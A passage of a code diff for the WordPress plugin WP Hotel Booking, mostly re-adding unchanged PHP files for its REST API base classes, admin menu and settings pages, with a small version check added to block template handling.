+			// $this->content = _inject_theme_attribute_in_block_template_content( $content );
+			if ( version_compare( get_bloginfo( 'version' ), '6.4-beta', '>=' ) ) {
+				$this->content = traverse_and_serialize_blocks( parse_blocks( $content ) );
+			} else {
+				$this->content = _inject_theme_attribute_in_block_template_content( $content );
+			}
+		}
+	}
+
+	/**
+	 * Render content of block tag
+	 *
+	 * @param array $attributes | Attributes of block tag.
+	 *
+	 * @return false|string
+	 */
+	public function render_content_block_template( array $attributes ) {
+		ob_start();
+
+		if ( isset( $attributes['template'] ) ) {
+			hb_get_template( $attributes['template'] );
+		}
+
+		return ob_get_clean();
+	}
+}
--- a/wp-hotel-booking/includes/abstracts/class-wphb-abstract-rest-api.php
+++ b/wp-hotel-booking/includes/abstracts/class-wphb-abstract-rest-api.php
@@ -1,79 +1,79 @@
-<?php
-
-/**
- * Class WPHB_API_Base
- *
- * Base class for api
- *
- * @since 1.10.6
- */
-abstract class WPHB_Abstract_API {
-	/**
-	 * @var string
-	 */
-	public $version = 'v1';
-
-	/**
-	 * @var string
-	 */
-	public $endpoint = '';
-
-	/**
-	 * @var WC_REST_Controller[]|string[]
-	 */
-	public $controllers = array();
-
-	/**
-	 * WPHB_Abstract_API constructor.
-	 */
-	public function __construct() {
-		$this->rest_api_init();
-	}
-
-	/**
-	 * Init REST.
-	 *
-	 * @since 1.10.6
-	 */
-	public function rest_api_init() {
-		if ( ! class_exists( 'WP_REST_Server' ) ) {
-			return;
-		}
-
-		$this->rest_api_includes();
-
-		add_action( 'rest_api_init', array( $this, 'rest_api_register_routes' ), 10 );
-	}
-
-	public function rest_api_includes() {
-		include_once WPHB_PLUGIN_PATH . '/includes/rest-api/class-wphb-rest-authentication.php';
-	}
-
-	/**
-	 * Register routes
-	 *
-	 * @since 1.10.6
-	 */
-	public function rest_api_register_routes() {
-
-		if ( ! $this->controllers ) {
-			return;
-		}
-
-		$controllers = array();
-
-		foreach ( $this->controllers as $name => $controller ) {
-
-			if ( is_string( $controller ) ) {
-				$name                 = $controller;
-				$controllers[ $name ] = new $controller();
-			} else {
-				$controllers[ $name ] = $controller;
-			}
-
-			$controllers[ $name ]->register_routes();
-		}
-
-		$this->controllers = $controllers;
-	}
-}
+<?php
+
+/**
+ * Class WPHB_API_Base
+ *
+ * Base class for api
+ *
+ * @since 1.10.6
+ */
+abstract class WPHB_Abstract_API {
+	/**
+	 * @var string
+	 */
+	public $version = 'v1';
+
+	/**
+	 * @var string
+	 */
+	public $endpoint = '';
+
+	/**
+	 * @var WC_REST_Controller[]|string[]
+	 */
+	public $controllers = array();
+
+	/**
+	 * WPHB_Abstract_API constructor.
+	 */
+	public function __construct() {
+		$this->rest_api_init();
+	}
+
+	/**
+	 * Init REST.
+	 *
+	 * @since 1.10.6
+	 */
+	public function rest_api_init() {
+		if ( ! class_exists( 'WP_REST_Server' ) ) {
+			return;
+		}
+
+		$this->rest_api_includes();
+
+		add_action( 'rest_api_init', array( $this, 'rest_api_register_routes' ), 10 );
+	}
+
+	public function rest_api_includes() {
+		include_once WPHB_PLUGIN_PATH . '/includes/rest-api/class-wphb-rest-authentication.php';
+	}
+
+	/**
+	 * Register routes
+	 *
+	 * @since 1.10.6
+	 */
+	public function rest_api_register_routes() {
+
+		if ( ! $this->controllers ) {
+			return;
+		}
+
+		$controllers = array();
+
+		foreach ( $this->controllers as $name => $controller ) {
+
+			if ( is_string( $controller ) ) {
+				$name                 = $controller;
+				$controllers[ $name ] = new $controller();
+			} else {
+				$controllers[ $name ] = $controller;
+			}
+
+			$controllers[ $name ]->register_routes();
+		}
+
+		$this->controllers = $controllers;
+	}
+}
--- a/wp-hotel-booking/includes/abstracts/class-wphb-abstract-rest-controller.php
+++ b/wp-hotel-booking/includes/abstracts/class-wphb-abstract-rest-controller.php
@@ -1,66 +1,66 @@
-<?php
-
-/**
- * Class WPHB_Abstract_REST_Controller
- */
-class WPHB_Abstract_REST_Controller extends WP_REST_Controller {
-
-	/**
-	 * @var string
-	 */
-	public $namespace = 'wphb/v1';
-
-	/**
-	 * @var string
-	 */
-	public $rest_base = '';
-
-	/**
-	 * @var array
-	 */
-	public $routes = array();
-
-	public function __construct() {
-	}
-
-	/**
-	 * Register routes for controller.
-	 */
-	public function register_routes() {
-
-		if ( ! $this->routes ) {
-			return;
-		}
-
-		foreach ( $this->routes as $key => $args ) {
-			$rest_base = $this->rest_base;
-			$override  = false;
-
-			if ( is_bool( end( $args ) ) ) {
-				$override = array_pop( $args );
-			}
-
-			if ( ! is_numeric( $key ) ) {
-				$rest_base = "{$rest_base}/{$key}";
-			}
-
-			register_rest_route( $this->namespace, '/' . $rest_base, $args, $override );
-		}
-	}
-
-	public function ensure_response( $data ) {
-		add_filter( 'rest_pre_serve_request', array( $this, 'print_response' ), 10, 4 );
-
-		return rest_ensure_response( $data );
-	}
-
-	/**
-	 * @param boolean          $false
-	 * @param WP_REST_Response $result
-	 * @param WP_REST_Request  $request
-	 * @param WP_REST_Server   $server
-	 */
-	public function print_response( $false, $result, $request, $server ) {
-		hb_send_json( $result->get_data() );
-	}
-}
+<?php
+
+/**
+ * Class WPHB_Abstract_REST_Controller
+ */
+class WPHB_Abstract_REST_Controller extends WP_REST_Controller {
+
+	/**
+	 * @var string
+	 */
+	public $namespace = 'wphb/v1';
+
+	/**
+	 * @var string
+	 */
+	public $rest_base = '';
+
+	/**
+	 * @var array
+	 */
+	public $routes = array();
+
+	public function __construct() {
+	}
+
+	/**
+	 * Register routes for controller.
+	 */
+	public function register_routes() {
+
+		if ( ! $this->routes ) {
+			return;
+		}
+
+		foreach ( $this->routes as $key => $args ) {
+			$rest_base = $this->rest_base;
+			$override  = false;
+
+			if ( is_bool( end( $args ) ) ) {
+				$override = array_pop( $args );
+			}
+
+			if ( ! is_numeric( $key ) ) {
+				$rest_base = "{$rest_base}/{$key}";
+			}
+
+			register_rest_route( $this->namespace, '/' . $rest_base, $args, $override );
+		}
+	}
+
+	public function ensure_response( $data ) {
+		add_filter( 'rest_pre_serve_request', array( $this, 'print_response' ), 10, 4 );
+
+		return rest_ensure_response( $data );
+	}
+
+	/**
+	 * @param boolean          $false
+	 * @param WP_REST_Response $result
+	 * @param WP_REST_Request  $request
+	 * @param WP_REST_Server   $server
+	 */
+	public function print_response( $false, $result, $request, $server ) {
+		hb_send_json( $result->get_data() );
+	}
+}
--- a/wp-hotel-booking/includes/abstracts/class-wphb-abstract-tool.php
+++ b/wp-hotel-booking/includes/abstracts/class-wphb-abstract-tool.php
@@ -1,66 +1,66 @@
-<?php
-/**
- * Abstract WP Hotel Booking admin tool class.
- *
- * @class       WPHB_Abstract_Tool
- * @version     1.9.7.4
- * @package     WP_Hotel_Booking/Classes
- * @category    Abstract Class
- * @author      Thimpress, leehld
- */
-
-/**
- * Prevent loading this file directly
- */
-defined( 'ABSPATH' ) || exit();
-
-if ( ! class_exists( 'WPHB_Abstract_Tool' ) ) {
-
-	/**
-	 * Class WPHB_Abstract_Tool.
-	 *
-	 * @since 2.0
-	 */
-	abstract class WPHB_Abstract_Tool {
-
-		/**
-		 * Setting tab id.
-		 *
-		 * @var null
-		 */
-		protected $id = null;
-
-		/**
-		 * Setting tab title.
-		 *
-		 * @var null
-		 */
-		protected $title = null;
-
-		/**
-		 * WPHB_Abstract_Tool constructor.
-		 */
-		public function __construct() {
-			add_filter( 'wphb/admin/tool-tabs', array( $this, 'tool_tabs' ) );
-			add_action( 'wphb/admin/tools-tab-' . $this->id, array( $this, 'output' ) );
-		}
-
-		/**
-		 * @param $tabs
-		 *
-		 * @return array
-		 */
-		public function tool_tabs( $tabs ) {
-			$tabs[ $this->id ] = $this->title;
-
-			return $tabs;
-		}
-
-		/**
-		 * Out tool tab.
-		 */
-		public function output() {
-			return;
-		}
-	}
-}
+<?php
+/**
+ * Abstract WP Hotel Booking admin tool class.
+ *
+ * @class       WPHB_Abstract_Tool
+ * @version     1.9.7.4
+ * @package     WP_Hotel_Booking/Classes
+ * @category    Abstract Class
+ * @author      Thimpress, leehld
+ */
+
+/**
+ * Prevent loading this file directly
+ */
+defined( 'ABSPATH' ) || exit();
+
+if ( ! class_exists( 'WPHB_Abstract_Tool' ) ) {
+
+	/**
+	 * Class WPHB_Abstract_Tool.
+	 *
+	 * @since 2.0
+	 */
+	abstract class WPHB_Abstract_Tool {
+
+		/**
+		 * Setting tab id.
+		 *
+		 * @var null
+		 */
+		protected $id = null;
+
+		/**
+		 * Setting tab title.
+		 *
+		 * @var null
+		 */
+		protected $title = null;
+
+		/**
+		 * WPHB_Abstract_Tool constructor.
+		 */
+		public function __construct() {
+			add_filter( 'wphb/admin/tool-tabs', array( $this, 'tool_tabs' ) );
+			add_action( 'wphb/admin/tools-tab-' . $this->id, array( $this, 'output' ) );
+		}
+
+		/**
+		 * @param $tabs
+		 *
+		 * @return array
+		 */
+		public function tool_tabs( $tabs ) {
+			$tabs[ $this->id ] = $this->title;
+
+			return $tabs;
+		}
+
+		/**
+		 * Out tool tab.
+		 */
+		public function output() {
+			return;
+		}
+	}
+}
--- a/wp-hotel-booking/includes/admin/class-wphb-admin-menu.php
+++ b/wp-hotel-booking/includes/admin/class-wphb-admin-menu.php
@@ -1,179 +1,179 @@
-<?php
-/**
- * WP Hotel Booking admin menu class.
- *
- * @class       WPHB_Admin_Menu
- * @version     1.9.7.4
- * @package     WP_Hotel_Booking/Classes
- * @category    Class
- * @author      Thimpress, leehld
- */
-
-/**
- * Prevent loading this file directly
- */
-defined( 'ABSPATH' ) || exit;
-
-if ( ! class_exists( 'WPHB_Admin_Menu' ) ) {
-	/**
-	 * Class WPHB_Admin_Menu
-	 */
-	class WPHB_Admin_Menu {
-
-		/**
-		 * WPHB_Admin_Menu constructor.
-		 */
-		public function __construct() {
-			add_action( 'admin_menu', array( $this, 'register' ) );
-			add_action( 'admin_bar_menu', array( $this, 'admin_bar_menus' ), 50 );
-		}
-
-		/**
-		 * Register menu.
-		 */
-		public function register() {
-			add_menu_page(
-				__( 'WP Hotel Booking', 'wp-hotel-booking' ),
-				__( 'WP Hotel Booking', 'wp-hotel-booking' ),
-				'edit_hb_bookings',
-				'tp_hotel_booking',
-				'',
-				'dashicons-calendar',
-				'3.99'
-			);
-
-			$menu_items = array(
-				// do not use: minhpd 30-5-2022
-				// 'pricing_table' => array(
-				// 'tp_hotel_booking',
-				// __( 'Pricing Plans', 'wp-hotel-booking' ),
-				// __( 'Pricing Plans', 'wp-hotel-booking' ),
-				// 'manage_hb_booking',
-				// 'tp_hotel_booking_pricing',
-				// array( $this, 'pricing_table' )
-				// ),
-				'settings'         => array(
-					'tp_hotel_booking',
-					__( 'Settings', 'wp-hotel-booking' ),
-					__( 'Settings', 'wp-hotel-booking' ),
-					'manage_hb_booking',
-					'tp_hotel_booking_settings',
-					array( $this, 'settings_page' ),
-				),
-				'calendar_manager' => array(
-					'tp_hotel_booking',
-					__( 'Calendar Manager', 'wp-hotel-booking' ),
-					__( 'Calendar Manager', 'wp-hotel-booking' ),
-					'manage_hb_booking',
-					'tp_hotel_booking_calender_manager',
-					array( $this, 'calendar_manager' ),
-				),
-			);
-
-			// Third-party can be add more items
-			$menu_items = apply_filters( 'hotel_booking_menu_items', $menu_items );
-
-			if ( is_array( $menu_items ) ) {
-				$menu_items['tools'] = array(
-					'tp_hotel_booking',
-					__( 'Tools', 'wp-hotel-booking' ),
-					__( 'Tools', 'wp-hotel-booking' ),
-					'manage_hb_booking',
-					'wphb-tools',
-					array( $this, 'tools_page' ),
-				);
-			}
-
-			if ( $menu_items ) {
-				foreach ( $menu_items as $item ) {
-					call_user_func_array( 'add_submenu_page', $item );
-				}
-			}
-
-			// get user role
-			$user_roles = wp_get_current_user()->roles;
-
-			if ( $user_roles ) {
-				if ( $user_roles == array( 'wphb_booking_editor' ) || $user_roles == array( 'wphb_hotel_manager' ) ) {
-					remove_menu_page( 'edit.php' ); // Posts
-					remove_menu_page( 'upload.php' ); // Media
-					remove_menu_page( 'edit-comments.php' ); // Comments
-					remove_menu_page( 'tools.php' ); // Tools
-				}
-			}
-		}
-
-		/**
-		 * Settings page view.
-		 */
-		public function settings_page() {
-			WPHB_Admin_Settings::output();
-		}
-
-		/**
-		 * Calendar Manager
-		 */
-		public function calendar_manager() {
-			WP_Hotel_Booking::instance()->_include( 'includes/admin/views/calendar-manager.php' );
-		}
-
-		/**
-		 * Pricing table view.
-		 * do not use: minhpd 30-5-2022
-		 */
-		// public function pricing_table() {
-		// wp_enqueue_script( 'wp-util' );
-		// WP_Hotel_Booking::instance()->_include( 'includes/admin/views/pricing-table.php' );
-		// }
-
-		/**
-		 * Other settings view.
-		 */
-		public function other_settings() {
-			WP_Hotel_Booking::instance()->_include( 'includes/admin/views/settings/other_settings.php' );
-		}
-
-		/**
-		 * Tools page view.
-		 */
-		public function tools_page() {
-			WPHB_Admin_Tools::output();
-		}
-
-		/**
-		 * Added url Pages of LP.
-		 *
-		 * @param WP_Admin_Bar $wp_admin_bar
-		 *
-		 * @return void
-		 * @since 2.1.3
-		 * @version 1.0.0
-		 */
-		public function admin_bar_menus( $wp_admin_bar ) {
-			if ( ! current_user_can( 'administrator' ) ) {
-				return;
-			}
-
-			$url_pages = [
-				'wphb-rooms'     => [
-					'title'  => esc_html__( 'View Page Rooms', 'learnpress' ),
-					'href'   => get_permalink( hb_get_page_id( 'rooms' ) ),
-					'parent' => 'site-name',
-				],
-			];
-
-			foreach ( $url_pages as $id => $url_page ) {
-				$wp_admin_bar->add_node(
-					array(
-						'id'     => $id,
-						'parent' => $url_page['parent'] ?? 'appearance',
-						'title'  => sprintf( '<span class="ab-label">%s</span>', $url_page['title'] ),
-						'href'   => $url_page['href'],
-					)
-				);
-			}
-		}
-	}
-}
-
-new WPHB_Admin_Menu();
+<?php
+/**
+ * WP Hotel Booking admin menu class.
+ *
+ * @class       WPHB_Admin_Menu
+ * @version     1.9.7.4
+ * @package     WP_Hotel_Booking/Classes
+ * @category    Class
+ * @author      Thimpress, leehld
+ */
+
+/**
+ * Prevent loading this file directly
+ */
+defined( 'ABSPATH' ) || exit;
+
+if ( ! class_exists( 'WPHB_Admin_Menu' ) ) {
+	/**
+	 * Class WPHB_Admin_Menu
+	 */
+	class WPHB_Admin_Menu {
+
+		/**
+		 * WPHB_Admin_Menu constructor.
+		 */
+		public function __construct() {
+			add_action( 'admin_menu', array( $this, 'register' ) );
+			add_action( 'admin_bar_menu', array( $this, 'admin_bar_menus' ), 50 );
+		}
+
+		/**
+		 * Register menu.
+		 */
+		public function register() {
+			add_menu_page(
+				__( 'WP Hotel Booking', 'wp-hotel-booking' ),
+				__( 'WP Hotel Booking', 'wp-hotel-booking' ),
+				'edit_hb_bookings',
+				'tp_hotel_booking',
+				'',
+				'dashicons-calendar',
+				'3.99'
+			);
+
+			$menu_items = array(
+				// do not use: minhpd 30-5-2022
+				// 'pricing_table' => array(
+				// 'tp_hotel_booking',
+				// __( 'Pricing Plans', 'wp-hotel-booking' ),
+				// __( 'Pricing Plans', 'wp-hotel-booking' ),
+				// 'manage_hb_booking',
+				// 'tp_hotel_booking_pricing',
+				// array( $this, 'pricing_table' )
+				// ),
+				'settings'         => array(
+					'tp_hotel_booking',
+					__( 'Settings', 'wp-hotel-booking' ),
+					__( 'Settings', 'wp-hotel-booking' ),
+					'manage_hb_booking',
+					'tp_hotel_booking_settings',
+					array( $this, 'settings_page' ),
+				),
+				'calendar_manager' => array(
+					'tp_hotel_booking',
+					__( 'Calendar Manager', 'wp-hotel-booking' ),
+					__( 'Calendar Manager', 'wp-hotel-booking' ),
+					'manage_hb_booking',
+					'tp_hotel_booking_calender_manager',
+					array( $this, 'calendar_manager' ),
+				),
+			);
+
+			// Third-party can be add more items
+			$menu_items = apply_filters( 'hotel_booking_menu_items', $menu_items );
+
+			if ( is_array( $menu_items ) ) {
+				$menu_items['tools'] = array(
+					'tp_hotel_booking',
+					__( 'Tools', 'wp-hotel-booking' ),
+					__( 'Tools', 'wp-hotel-booking' ),
+					'manage_hb_booking',
+					'wphb-tools',
+					array( $this, 'tools_page' ),
+				);
+			}
+
+			if ( $menu_items ) {
+				foreach ( $menu_items as $item ) {
+					call_user_func_array( 'add_submenu_page', $item );
+				}
+			}
+
+			// get user role
+			$user_roles = wp_get_current_user()->roles;
+
+			if ( $user_roles ) {
+				if ( $user_roles == array( 'wphb_booking_editor' ) || $user_roles == array( 'wphb_hotel_manager' ) ) {
+					remove_menu_page( 'edit.php' ); // Posts
+					remove_menu_page( 'upload.php' ); // Media
+					remove_menu_page( 'edit-comments.php' ); // Comments
+					remove_menu_page( 'tools.php' ); // Tools
+				}
+			}
+		}
+
+		/**
+		 * Settings page view.
+		 */
+		public function settings_page() {
+			WPHB_Admin_Settings::output();
+		}
+
+		/**
+		 * Calendar Manager
+		 */
+		public function calendar_manager() {
+			WP_Hotel_Booking::instance()->_include( 'includes/admin/views/calendar-manager.php' );
+		}
+
+		/**
+		 * Pricing table view.
+		 * do not use: minhpd 30-5-2022
+		 */
+		// public function pricing_table() {
+		// wp_enqueue_script( 'wp-util' );
+		// WP_Hotel_Booking::instance()->_include( 'includes/admin/views/pricing-table.php' );
+		// }
+
+		/**
+		 * Other settings view.
+		 */
+		public function other_settings() {
+			WP_Hotel_Booking::instance()->_include( 'includes/admin/views/settings/other_settings.php' );
+		}
+
+		/**
+		 * Tools page view.
+		 */
+		public function tools_page() {
+			WPHB_Admin_Tools::output();
+		}
+
+		/**
+		 * Added url Pages of LP.
+		 *
+		 * @param WP_Admin_Bar $wp_admin_bar
+		 *
+		 * @return void
+		 * @since 2.1.3
+		 * @version 1.0.0
+		 */
+		public function admin_bar_menus( $wp_admin_bar ) {
+			if ( ! current_user_can( 'administrator' ) ) {
+				return;
+			}
+
+			$url_pages = [
+				'wphb-rooms'     => [
+					'title'  => esc_html__( 'View Page Rooms', 'learnpress' ),
+					'href'   => get_permalink( hb_get_page_id( 'rooms' ) ),
+					'parent' => 'site-name',
+				],
+			];
+
+			foreach ( $url_pages as $id => $url_page ) {
+				$wp_admin_bar->add_node(
+					array(
+						'id'     => $id,
+						'parent' => $url_page['parent'] ?? 'appearance',
+						'title'  => sprintf( '<span class="ab-label">%s</span>', $url_page['title'] ),
+						'href'   => $url_page['href'],
+					)
+				);
+			}
+		}
+	}
+}
+
+new WPHB_Admin_Menu();
--- a/wp-hotel-booking/includes/admin/class-wphb-admin-setting-page.php
+++ b/wp-hotel-booking/includes/admin/class-wphb-admin-setting-page.php
@@ -1,184 +1,184 @@
-<?php
-/**
- * WP Hotel Booking setting page.
- *
- * @version       1.9.6
- * @author        ThimPress
- * @package       WP_Hotel_Booking/Classes
- * @category      Classes
- * @author        Thimpress, leehld
- */
-
-/**
- * Prevent loading this file directly
- */
-defined( 'ABSPATH' ) || exit;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit();
-}
-
-abstract class WPHB_Admin_Setting_Page {
-
-	protected $id = null;
-
-	protected $title = null;
-
-	public $current_tab = null;
-
-	function __construct() {
-
-		add_filter( 'hb_admin_settings_tabs', array( $this, 'setting_tabs' ) );
-		add_action( 'hb_admin_settings_sections_' . $this->id, array( $this, 'setting_sections' ) );
-		add_action( 'hb_admin_settings_tab_' . $this->id, array( $this, 'output' ) );
-
-		// Save setting
-		$page = isset( $_GET['page'] ) ? sanitize_key( $_GET['page'] ) : '';
-		if ( $page === 'tp_hotel_booking_settings' ) {
-			$this->current_tab = isset( $_GET['tab'] ) ? sanitize_key( $_GET['tab'] ) : 'general';
-			if ( ! empty( $_POST ) ) {
-				$this->save( $this->current_tab );
-			}
-		}
-	}
-
-	/**
-	 * get_settings field
-	 *
-	 * @return array settings fields
-	 */
-	public function get_settings() {
-		return apply_filters( 'hotel_booking_admin_setting_fields_' . $this->id, array() );
-	}
-
-	public function get_sections() {
-		return apply_filters( 'hotel_booking_admin_setting_sections_' . $this->id, array() );
-	}
-
-	// filter tab id
-	public function setting_tabs( $tabs ) {
-		$tabs[ $this->id ] = $this->title;
-		return $tabs;
-	}
-
-	// output setting page
-	public function output() {
-		wp_nonce_field( 'wphb_update_meta_box_settings', 'wphb_meta_box_settings_nonce' );
-		$settings = $this->get_settings();
-		WPHB_Admin_Settings::render_fields( $settings );
-	}
-
-	// filter section in tab id
-	public function setting_sections() {
-		$sections = $this->get_sections();
-
-		if ( count( $sections ) === 0 ) {
-			return;
-		}
-
-		$current_section = null;
-
-		if ( isset( $_REQUEST['section'] ) ) {
-			$current_section = sanitize_text_field( $_REQUEST['section'] );
-		}
-
-		$html = array();
-
-		$html[] = '<ul class="hb-admin-sub-tab subsubsub">';
-		$sub    = array();
-		foreach ( $sections as $id => $text ) {
-			$sub[] = '<li>
-						<a href="?page=tp_hotel_booking_settings&tab=' . esc_attr( $this->id ) . '&section=' . esc_attr( $id ) . '"' . ( $current_section === $id ? ' class="current"' : '' ) . '>' . esc_html( $text ) . '</a>
-					</li>';
-		}
-		$html[] = implode( ' | ', $sub );
-		$html[] = '</ul><br />';
-
-		echo implode( '', $html );
-	}
-
-	// save setting option
-	public function save( $tab = '' ) {
-		$nonce = WPHB_Helpers::get_param( 'wphb_meta_box_settings_nonce', '' );
-		if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'wphb_update_meta_box_settings' ) ) {
-			return;
-		}
-
-		$class_name   = strtolower( static::class );
-		$class_prefix = 'wphb_admin_setting_';
-		$name_compare = str_replace( $class_prefix, '', $class_name );
-
-		if ( $name_compare != $tab ) {
-			return;
-		}
-
-		// Save section fields setting - sub tab setting
-		$section                   = WPHB_Helpers::get_param( 'section', '' );
-		$key_section_field_setting = WPHB_Helpers::get_param( 'wphb_save_section_fields_setting', '' );
-		if ( ! empty( $section ) && ! empty( $key_section_field_setting ) ) {
-			$section_fields_setting = WPHB_Helpers::get_param( $key_section_field_setting, [] );
-			WPHB_Settings::instance()->set( $key_section_field_setting, $section_fields_setting );
-
-			return;
-		}
-
-		$settings = $this->get_settings();
-		foreach ( $settings as $setting ) {
-			$id           = $setting['id'] ?? '';
-			$type         = $setting['type'] ?? '';
-			$default      = $setting['default'] ?? '';
-			$option_value = '';
-			if ( empty( $type ) || empty( $id ) ) {
-				continue;
-			}
-
-			if ( in_array( $type, array( 'section_start', 'section_end' ) ) ) {
-				continue;
-			}
-
-			$type_custom_save = apply_filters(
-				"wphb_admin_setting/{$type}/custom_save",
-				[ 'image_size' ],
-				$id,
-				$setting
-			);
-
-			switch ( $type ) {
-				case 'checkbox':
-					$option_value = isset( $_POST[ $id ] ) ? 1 : 0;
-					break;
-				case 'number':
-					$option_value = isset( $_POST[ $id ] ) ? floatval( $_POST[ $id ] ) : 0;
-					break;
-				case 'text':
-					$option_value = isset( $_POST[ $id ] ) ? sanitize_text_field( $_POST[ $id ] ) : $default;
-					break;
-				case 'textarea':
-					$option_value = isset( $_POST[ $id ] ) ? wp_kses_post( $_POST[ $id ] ) : $default;
-					break;
-				case 'image_size':
-					$option_width  = isset( $_POST[ $id . '_width' ] ) ? floatval( $_POST[ $id . '_width' ] ) : $default['width'];
-					$option_height = isset( $_POST[ $id . '_height' ] ) ? floatval( $_POST[ $id . '_height' ] ) : $default['height'];
-					WPHB_Settings::instance()->set( $id . '_width', $option_width );
-					WPHB_Settings::instance()->set( $id . '_height', $option_height );
-					break;
-				default:
-					if ( ! isset( $_POST[ $id ] ) ) {
-						break;
-					}
-
-					$option_value = $_POST[ $id ];
-					$option_value = apply_filters( "wphb_admin_setting_save/{$type}", $option_value, $id, $setting );
-					if ( ! in_array( $type, $type_custom_save ) ) {
-						$option_value = WPHB_Helpers::sanitize_params_submitted( $option_value );
-					}
-
-					break;
-			}
-
-			if ( ! in_array( $type, $type_custom_save ) ) {
-				WPHB_Settings::instance()->set( $id, $option_value );
-			}
-		}
-	}
-}
+<?php
+/**
+ * WP Hotel Booking setting page.
+ *
+ * @version       1.9.6
+ * @author        ThimPress
+ * @package       WP_Hotel_Booking/Classes
+ * @category      Classes
+ * @author        Thimpress, leehld
+ */
+
+/**
+ * Prevent loading this file directly
+ */
+defined( 'ABSPATH' ) || exit;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit();
+}
+
+abstract class WPHB_Admin_Setting_Page {
+
+	protected $id = null;
+
+	protected $title = null;
+
+	public $current_tab = null;
+
+	function __construct() {
+
+		add_filter( 'hb_admin_settings_tabs', array( $this, 'setting_tabs' ) );
+		add_action( 'hb_admin_settings_sections_' . $this->id, array( $this, 'setting_sections' ) );
+		add_action( 'hb_admin_settings_tab_' . $this->id, array( $this, 'output' ) );
+
+		// Save setting
+		$page = isset( $_GET['page'] ) ? sanitize_key( $_GET['page'] ) : '';
+		if ( $page === 'tp_hotel_booking_settings' ) {
+			$this->current_tab = isset( $_GET['tab'] ) ? sanitize_key( $_GET['tab'] ) : 'general';
+			if ( ! empty( $_POST ) ) {
+				$this->save( $this->current_tab );
+			}
+		}
+	}
+
+	/**
+	 * get_settings field
+	 *
+	 * @return array settings fields
+	 */
+	public function get_settings() {
+		return apply_filters( 'hotel_booking_admin_setting_fields_' . $this->id, array() );
+	}
+
+	public function get_sections() {
+		return apply_filters( 'hotel_booking_admin_setting_sections_' . $this->id, array() );
+	}
+
+	// filter tab id
+	public function setting_tabs( $tabs ) {
+		$tabs[ $this->id ] = $this->title;
+		return $tabs;
+	}
+
+	// output setting page
+	public function output() {
+		wp_nonce_field( 'wphb_update_meta_box_settings', 'wphb_meta_box_settings_nonce' );
+		$settings = $this->get_settings();
+		WPHB_Admin_Settings::render_fields( $settings );
+	}
+
+	// filter section in tab id
+	public function setting_sections() {
+		$sections = $this->get_sections();
+
+		if ( count( $sections ) === 0 ) {
+			return;
+		}
+
+		$current_section = null;
+
+		if ( isset( $_REQUEST['section'] ) ) {
+			$current_section = sanitize_text_field( $_REQUEST['section'] );
+		}
+
+		$html = array();
+
+		$html[] = '<ul class="hb-admin-sub-tab subsubsub">';
+		$sub    = array();
+		foreach ( $sections as $id => $text ) {
+			$sub[] = '<li>
+						<a href="?page=tp_hotel_booking_settings&tab=' . esc_attr( $this->id ) . '&section=' . esc_attr( $id ) . '"' . ( $current_section === $id ? ' class="current"' : '' ) . '>' . esc_html( $text ) . '</a>
+					</li>';
+		}
+		$html[] = implode( ' | ', $sub );
+		$html[] = '</ul><br />';
+
+		echo implode( '', $html );
+	}
+
+	// save setting option
+	public function save( $tab = '' ) {
+		$nonce = WPHB_Helpers::get_param( 'wphb_meta_box_settings_nonce', '' );
+		if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'wphb_update_meta_box_settings' ) ) {
+			return;
+		}
+
+		$class_name   = strtolower( static::class );
+		$class_prefix = 'wphb_admin_setting_';
+		$name_compare = str_replace( $class_prefix, '', $class_name );
+
+		if ( $name_compare != $tab ) {
+			return;
+		}
+
+		// Save section fields setting - sub tab setting
+		$section                   = WPHB_Helpers::get_param( 'section', '' );
+		$key_section_field_setting = WPHB_Helpers::get_param( 'wphb_save_section_fields_setting', '' );
+		if ( ! empty( $section ) && ! empty( $key_section_field_setting ) ) {
+			$section_fields_setting = WPHB_Helpers::get_param( $key_section_field_setting, [] );
+			WPHB_Settings::instance()->set( $key_section_field_setting, $section_fields_setting );
+
+			return;
+		}
+
+		$settings = $this->get_settings();
+		foreach ( $settings as $setting ) {
+			$id           = $setting['id'] ?? '';
+			$type         = $setting['type'] ?? '';
+			$default      = $setting['default'] ?? '';
+			$option_value = '';
+			if ( empty( $type ) || empty( $id ) ) {
+				continue;
+			}
+
+			if ( in_array( $type, array( 'section_start', 'section_end' ) ) ) {
+				continue;
+			}
+
+			$type_custom_save = apply_filters(
+				"wphb_admin_setting/{$type}/custom_save",
+				[ 'image_size' ],
+				$id,
+				$setting
+			);
+
+			switch ( $type ) {
+				case 'checkbox':
+					$option_value = isset( $_POST[ $id ] ) ? 1 : 0;
+					break;
+				case 'number':
+					$option_value = isset( $_POST[ $id ] ) ? floatval( $_POST[ $id ] ) : 0;
+					break;
+				case 'text':
+					$option_value = isset( $_POST[ $id ] ) ? sanitize_text_field( $_POST[ $id ] ) : $default;
+					break;
+				case 'textarea':
+					$option_value = isset( $_POST[ $id ] ) ? wp_kses_post( $_POST[ $id ] ) : $default;
+					break;
+				case 'image_size':
+					$option_width  = isset( $_POST[ $id . '_width' ] ) ? floatval( $_POST[ $id . '_width' ] ) : $default['width'];
+					$option_height = isset( $_POST[ $id . '_height' ] ) ? floatval( $_POST[ $id . '_height' ] ) : $default['height'];
+					WPHB_Settings::instance()->set( $id . '_width', $option_width );
+					WPHB_Settings::instance()->set( $id . '_height', $option_height );
+					break;
+				default:
+					if ( ! isset( $_POST[ $id ] ) ) {
+						break;
+					}
+
+					$option_value = $_POST[ $id ];
+					$option_value = apply_filters( "wphb_admin_setting_save/{$type}", $option_value, $id, $setting );
+					if ( ! in_array( $type, $type_custom_save ) ) {
+						$option_value = WPHB_Helpers::sanitize_params_submitted( $option_value );
+					}
+
+					break;
+			}
+
+			if ( ! in_array( $type, $type_custom_save ) ) {
+				WPHB_Settings::instance()->set( $id, $option_value );
+			}
+		}
+	}
+}
--- a/wp-hotel-booking/includes/admin/class-wphb-admin-settings.php
+++ b/wp-hotel-booking/includes/admin/class-wphb-admin-settings.php
@@ -1,383 +1,395 @@
-<?php
-/**
- * WP Hotel Booking admin settings.
- *
- * @version       1.9.6
- * @author        ThimPress
- * @package       WP_Hotel_Booking/Classes
- * @category      Classes
- * @author        Thimpress, leehld
- */
-
-/**
- * Prevent loading this file directly
- */
-defined( 'ABSPATH' ) || exit;
-
-class WPHB_Admin_Settings {
-
-	public static function get_settings_pages() {
-
-		WP_Hotel_Booking::instance()->_include( 'includes/admin/class-wphb-admin-setting-page.php' );
-		$tabs = array();
-
